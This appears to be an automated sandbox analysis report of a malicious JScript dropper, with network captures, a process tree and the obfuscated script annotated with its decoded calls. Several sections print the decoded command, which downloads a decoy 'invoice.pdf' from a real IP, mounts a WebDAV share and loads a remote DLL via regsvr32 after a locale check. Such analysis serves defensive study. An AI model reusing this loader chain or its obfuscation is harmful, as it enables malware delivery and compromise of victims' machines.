HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	6880	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:29:09.077713966 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:29:09.877701044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:29:09.877722979 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:29:09.877737999 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:29:09.877783060 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:29:09.877799988 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 01:29:09.877816916 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 01:29:09.877832890 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 01:29:09.877850056 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 01:29:09.877865076 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 01:29:09.877882004 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 01:29:09.882702112 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	1928	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:29:11.624454975 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:29:12.411233902 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:29:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js"
Imagebase:	0x7ff7fa850000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Imagebase:	0x7ff7b3a50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:29:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:29:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b3a50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:29:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7502d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:29:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:29:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:29:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,5116805766020969271,6008522173512827822,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kwyvfprur() {	kwyvfprur() ➔ undefined
1	ypkkxx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ytnjbfepl = this[nxkqg + kpobpvd + wfqawpnjz + czzovyeb + frzwkhgu + bkxrt + lqvrjllsg + clevl] ( this[aftyokuoc + idunwvtb + tjxuwafr + wfqawpnjz + asaveify + nxkqg + clevl][eevuo + wfqawpnjz + frzwkhgu + kpobpvd + clevl + frzwkhgu + ejxhv + slferxlk + czjtdoyoy + frzwkhgu + tjxuwafr + clevl] ( aftyokuoc + idunwvtb + tjxuwafr + wfqawpnjz + asaveify + nxkqg + clevl + wkwukzwpp + idunwvtb + tqgfzajyy + frzwkhgu + heant + heant ) [wwpukj + frzwkhgu + ykdyw + wwpukj + frzwkhgu + kpobpvd + jqmprmxzs] ( mkbotanx + rcgrytmw + gluvnpkkn + vonbxo + ijpbwaua + eevuo + zsftscko + wwpukj + wwpukj + gluvnpkkn + lifdwdda + pntvdxq + ijpbwaua + zsftscko + idunwvtb + gluvnpkkn + wwpukj + vczyg + eevuo + djtbybkwy + lqvrjllsg + clevl + wfqawpnjz + djtbybkwy + heant + gjzbhohnn + gqvgznya + kpobpvd + lqvrjllsg + frzwkhgu + heant + vczyg + bkxrt + lqvrjllsg + clevl + frzwkhgu + wfqawpnjz + lqvrjllsg + kpobpvd + clevl + asaveify + djtbybkwy + lqvrjllsg + kpobpvd + heant + vczyg + emvtal + djtbybkwy + tjxuwafr + kpobpvd + heant + frzwkhgu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cxucanbz = 0 ; cxucanbz < ypkkxx[heant + frzwkhgu + lqvrjllsg + ykdyw + clevl + tqgfzajyy] ; ++ cxucanbz )
4	{
5	if ( ytnjbfepl == ypkkxx[cxucanbz] )
6	{
7	ytnjbfepl = true;
8	break ;
9	}
10	}
11	if ( ytnjbfepl !== true )
12	this[aftyokuoc + idunwvtb + tjxuwafr + wfqawpnjz + asaveify + nxkqg + clevl][errhjvz + elszs + asaveify + clevl] ( );
13	this[aftyokuoc + idunwvtb + tjxuwafr + wfqawpnjz + asaveify + nxkqg + clevl][eevuo + wfqawpnjz + frzwkhgu + kpobpvd + clevl + frzwkhgu + ejxhv + slferxlk + czjtdoyoy + frzwkhgu + tjxuwafr + clevl] ( aftyokuoc + idunwvtb + tjxuwafr + wfqawpnjz + asaveify + nxkqg + clevl + wkwukzwpp + idunwvtb + tqgfzajyy + frzwkhgu + heant + heant ) [wfqawpnjz + elszs + lqvrjllsg] ( tjxuwafr + ojswok + jqmprmxzs + gjzbhohnn + nefyg + tjxuwafr + gjzbhohnn + nxkqg + djtbybkwy + igykiskpv + frzwkhgu + wfqawpnjz + czzovyeb + tqgfzajyy + frzwkhgu + heant + heant + wkwukzwpp + frzwkhgu + bshei + frzwkhgu + gjzbhohnn + zdkcfn + eevuo + djtbybkwy + ojswok + ojswok + kpobpvd + lqvrjllsg + jqmprmxzs + gjzbhohnn + bbkyitv + bkxrt + lqvrjllsg + dwjhm + djtbybkwy + bizup + frzwkhgu + zdkcfn + aftyokuoc + frzwkhgu + slferxlk + wwpukj + frzwkhgu + eligcms + elszs + frzwkhgu + czzovyeb + clevl + gjzbhohnn + zdkcfn + ejxhv + elszs + clevl + acbnyzg + asaveify + heant + frzwkhgu + gjzbhohnn + qrltrol + clevl + frzwkhgu + ojswok + nxkqg + qrltrol + vczyg + asaveify + lqvrjllsg + dwjhm + djtbybkwy + asaveify + tjxuwafr + frzwkhgu + wkwukzwpp + nxkqg + jqmprmxzs + bqifqfqhf + gjzbhohnn + tqgfzajyy + clevl + clevl + nxkqg + mtajfbbfm + nefyg + nefyg + nzcjk + vxlcfu + vpwhcckg + wkwukzwpp + nzcjk + daqua + vpwhcckg + wkwukzwpp + nzcjk + wkwukzwpp + gisiwjpl + oejxco + fpmosjoj + nefyg + asaveify + lqvrjllsg + dwjhm + djtbybkwy + asaveify + tjxuwafr + frzwkhgu + wkwukzwpp + nxkqg + tqgfzajyy + nxkqg + bbkyitv + kpktthbf + kpktthbf + czzovyeb + clevl + kpobpvd + wfqawpnjz + clevl + gjzbhohnn + qrltrol + clevl + frzwkhgu + ojswok + nxkqg + qrltrol + vczyg + asaveify + lqvrjllsg + dwjhm + djtbybkwy + asaveify + tjxuwafr + frzwkhgu + wkwukzwpp + nxkqg + jqmprmxzs + bqifqfqhf + kpktthbf + kpktthbf + tjxuwafr + ojswok + jqmprmxzs + gjzbhohnn + nefyg + tjxuwafr + gjzbhohnn + lqvrjllsg + frzwkhgu + clevl + gjzbhohnn + elszs + czzovyeb + frzwkhgu + gjzbhohnn + vczyg + vczyg + nzcjk + vxlcfu + vpwhcckg + wkwukzwpp + nzcjk + daqua + vpwhcckg + wkwukzwpp + nzcjk + wkwukzwpp + gisiwjpl + oejxco + fpmosjoj + lveaevrsu + kinodzjls + kinodzjls + kinodzjls + kinodzjls + vczyg + jqmprmxzs + kpobpvd + dwjhm + igykiskpv + igykiskpv + igykiskpv + wfqawpnjz + djtbybkwy + djtbybkwy + clevl + vczyg + kpktthbf + kpktthbf + tjxuwafr + ojswok + jqmprmxzs + gjzbhohnn + nefyg + tjxuwafr + gjzbhohnn + wfqawpnjz + frzwkhgu + ykdyw + czzovyeb + dwjhm + wfqawpnjz + vpwhcckg + gisiwjpl + gjzbhohnn + nefyg + czzovyeb + gjzbhohnn + vczyg + vczyg + nzcjk + vxlcfu + vpwhcckg + wkwukzwpp + nzcjk + daqua + vpwhcckg + wkwukzwpp + nzcjk + wkwukzwpp + gisiwjpl + oejxco + fpmosjoj + lveaevrsu + kinodzjls + kinodzjls + kinodzjls + kinodzjls + vczyg + jqmprmxzs + kpobpvd + dwjhm + igykiskpv + igykiskpv + igykiskpv + wfqawpnjz + djtbybkwy + djtbybkwy + clevl + vczyg + nzcjk + oejxco + vxlcfu + dnjofkbi + dnjofkbi + nzcjk + gisiwjpl + vpwhcckg + nzcjk + vxlcfu + vpwhcckg + nzcjk + kinodzjls + oejxco + vxlcfu + wkwukzwpp + jqmprmxzs + heant + heant, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll",0,false) ➔ 0
14	}
15	gqvgznya = "S";
16	gqvgznya = "P";
17	ijpbwaua = "u";
18	ijpbwaua = "h";
19	ijpbwaua = "q";
20	ijpbwaua = "B";
21	ijpbwaua = "l";
22	ijpbwaua = "Y";
23	ijpbwaua = "v";
24	ijpbwaua = "Q";
25	ijpbwaua = "F";
26	ijpbwaua = "_";
27	clevl = "x";
28	clevl = "h";
29	clevl = "o";
30	clevl = "R";
31	clevl = "J";
32	clevl = "u";
33	clevl = "T";
34	clevl = "X";
35	clevl = "B";
36	clevl = "x";
37	clevl = "Z";
38	clevl = "e";
39	clevl = "d";
40	clevl = "s";
41	clevl = "S";
42	clevl = "t";
43	clevl = "x";
44	clevl = "e";
45	clevl = "d";
46	clevl = "t";
47	gisiwjpl = "C";
48	gisiwjpl = "t";
49	gisiwjpl = "l";
50	gisiwjpl = "H";
51	gisiwjpl = "k";
52	gisiwjpl = "u";
53	gisiwjpl = "x";
54	gisiwjpl = "r";
55	gisiwjpl = "U";
56	gisiwjpl = "z";
57	gisiwjpl = "K";
58	gisiwjpl = "C";
59	gisiwjpl = "v";
60	gisiwjpl = "L";
61	gisiwjpl = "h";
62	gisiwjpl = "d";
63	gisiwjpl = "R";
64	gisiwjpl = "w";
65	gisiwjpl = "j";
66	gisiwjpl = "s";
67	gisiwjpl = "K";
68	gisiwjpl = "Q";
69	gisiwjpl = "S";
70	gisiwjpl = "T";
71	gisiwjpl = "Y";
72	gisiwjpl = "y";
73	gisiwjpl = "k";
74	gisiwjpl = "R";
75	gisiwjpl = "2";
76	vxlcfu = "i";
77	vxlcfu = "X";
78	vxlcfu = "T";
79	vxlcfu = "w";
80	vxlcfu = "y";
81	vxlcfu = "h";
82	vxlcfu = "b";
83	vxlcfu = "L";
84	vxlcfu = "z";
85	vxlcfu = "a";
86	vxlcfu = "r";
87	vxlcfu = "u";
88	vxlcfu = "X";
89	vxlcfu = "r";
90	vxlcfu = "e";
91	vxlcfu = "X";
92	vxlcfu = "9";
93	bshei = "T";
94	bshei = "M";
95	bshei = "R";
96	bshei = "G";
97	bshei = "y";
98	bshei = "E";
99	bshei = "C";
100	bshei = "m";
101	bshei = "C";
102	bshei = "t";
103	bshei = "W";
104	bshei = "H";
105	bshei = "c";
106	bshei = "S";
107	bshei = "x";
108	bshei = "X";
109	bshei = "T";
110	bshei = "v";
111	bshei = "x";
112	ojswok = "J";
113	ojswok = "L";
114	ojswok = "V";
115	ojswok = "G";
116	ojswok = "e";
117	ojswok = "k";
118	ojswok = "t";
119	ojswok = "O";
120	ojswok = "D";
121	ojswok = "V";
122	ojswok = "e";
123	ojswok = "y";
124	ojswok = "M";
125	ojswok = "Z";
126	ojswok = "C";
127	ojswok = "y";
128	ojswok = "O";
129	ojswok = "d";
130	ojswok = "N";
131	ojswok = "L";
132	ojswok = "y";
133	ojswok = "p";
134	ojswok = "j";
135	ojswok = "Y";
136	ojswok = "x";
137	ojswok = "j";
138	ojswok = "V";
139	ojswok = "l";
140	ojswok = "C";
141	ojswok = "J";
142	ojswok = "S";
143	ojswok = "V";
144	ojswok = "b";
145	ojswok = "d";
146	ojswok = "w";
147	ojswok = "f";
148	ojswok = "L";
149	ojswok = "E";
150	ojswok = "L";
151	ojswok = "m";
152	bizup = "t";
153	bizup = "n";
154	bizup = "S";
155	bizup = "a";
156	bizup = "k";
157	dnjofkbi = "A";
158	dnjofkbi = "f";
159	dnjofkbi = "A";
160	dnjofkbi = "D";
161	dnjofkbi = "k";
162	dnjofkbi = "o";
163	dnjofkbi = "K";
164	dnjofkbi = "Y";
165	dnjofkbi = "w";
166	dnjofkbi = "L";
167	dnjofkbi = "C";
168	dnjofkbi = "m";
169	dnjofkbi = "L";
170	dnjofkbi = "K";
171	dnjofkbi = "g";
172	dnjofkbi = "d";
173	dnjofkbi = "M";
174	dnjofkbi = "O";
175	dnjofkbi = "R";
176	dnjofkbi = "j";
177	dnjofkbi = "P";
178	dnjofkbi = "q";
179	dnjofkbi = "E";
180	dnjofkbi = "J";
181	dnjofkbi = "l";
182	dnjofkbi = "K";
183	dnjofkbi = "l";
184	dnjofkbi = "h";
185	dnjofkbi = "l";
186	dnjofkbi = "x";
187	dnjofkbi = "7";
188	tqgfzajyy = "e";
189	tqgfzajyy = "Q";
190	tqgfzajyy = "R";
191	tqgfzajyy = "b";
192	tqgfzajyy = "t";
193	tqgfzajyy = "n";
194	tqgfzajyy = "q";
195	tqgfzajyy = "c";
196	tqgfzajyy = "H";
197	tqgfzajyy = "j";
198	tqgfzajyy = "T";
199	tqgfzajyy = "A";
200	tqgfzajyy = "q";
201	tqgfzajyy = "U";
202	tqgfzajyy = "a";
203	tqgfzajyy = "E";
204	tqgfzajyy = "L";
205	tqgfzajyy = "z";
206	tqgfzajyy = "V";
207	tqgfzajyy = "g";
208	tqgfzajyy = "H";
209	tqgfzajyy = "G";
210	tqgfzajyy = "I";
211	tqgfzajyy = "I";
212	tqgfzajyy = "C";
213	tqgfzajyy = "J";
214	tqgfzajyy = "x";
215	tqgfzajyy = "P";
216	tqgfzajyy = "z";
217	tqgfzajyy = "p";
218	tqgfzajyy = "f";
219	tqgfzajyy = "h";
220	tqgfzajyy = "S";
221	tqgfzajyy = "h";
222	czzovyeb = "h";
223	czzovyeb = "K";
224	czzovyeb = "z";
225	czzovyeb = "n";
226	czzovyeb = "a";
227	czzovyeb = "I";
228	czzovyeb = "w";
229	czzovyeb = "U";
230	czzovyeb = "D";
231	czzovyeb = "e";
232	czzovyeb = "Y";
233	czzovyeb = "J";
234	czzovyeb = "L";
235	czzovyeb = "R";
236	czzovyeb = "C";
237	czzovyeb = "s";
238	czzovyeb = "F";
239	czzovyeb = "h";
240	czzovyeb = "L";
241	czzovyeb = "O";
242	czzovyeb = "L";
243	czzovyeb = "o";
244	czzovyeb = "O";
245	czzovyeb = "T";
246	czzovyeb = "l";
247	czzovyeb = "U";
248	czzovyeb = "i";
249	czzovyeb = "h";
250	czzovyeb = "I";
251	czzovyeb = "S";
252	czzovyeb = "A";
253	czzovyeb = "T";
254	czzovyeb = "c";
255	czzovyeb = "m";
256	czzovyeb = "d";
257	czzovyeb = "F";
258	czzovyeb = "V";
259	czzovyeb = "e";
260	czzovyeb = "E";
261	czzovyeb = "w";
262	czzovyeb = "s";
263	ejxhv = "O";
264	frzwkhgu = "K";
265	frzwkhgu = "y";
266	frzwkhgu = "l";
267	frzwkhgu = "e";
268	daqua = "P";
269	daqua = "b";
270	daqua = "s";
271	daqua = "g";
272	daqua = "s";
273	daqua = "o";
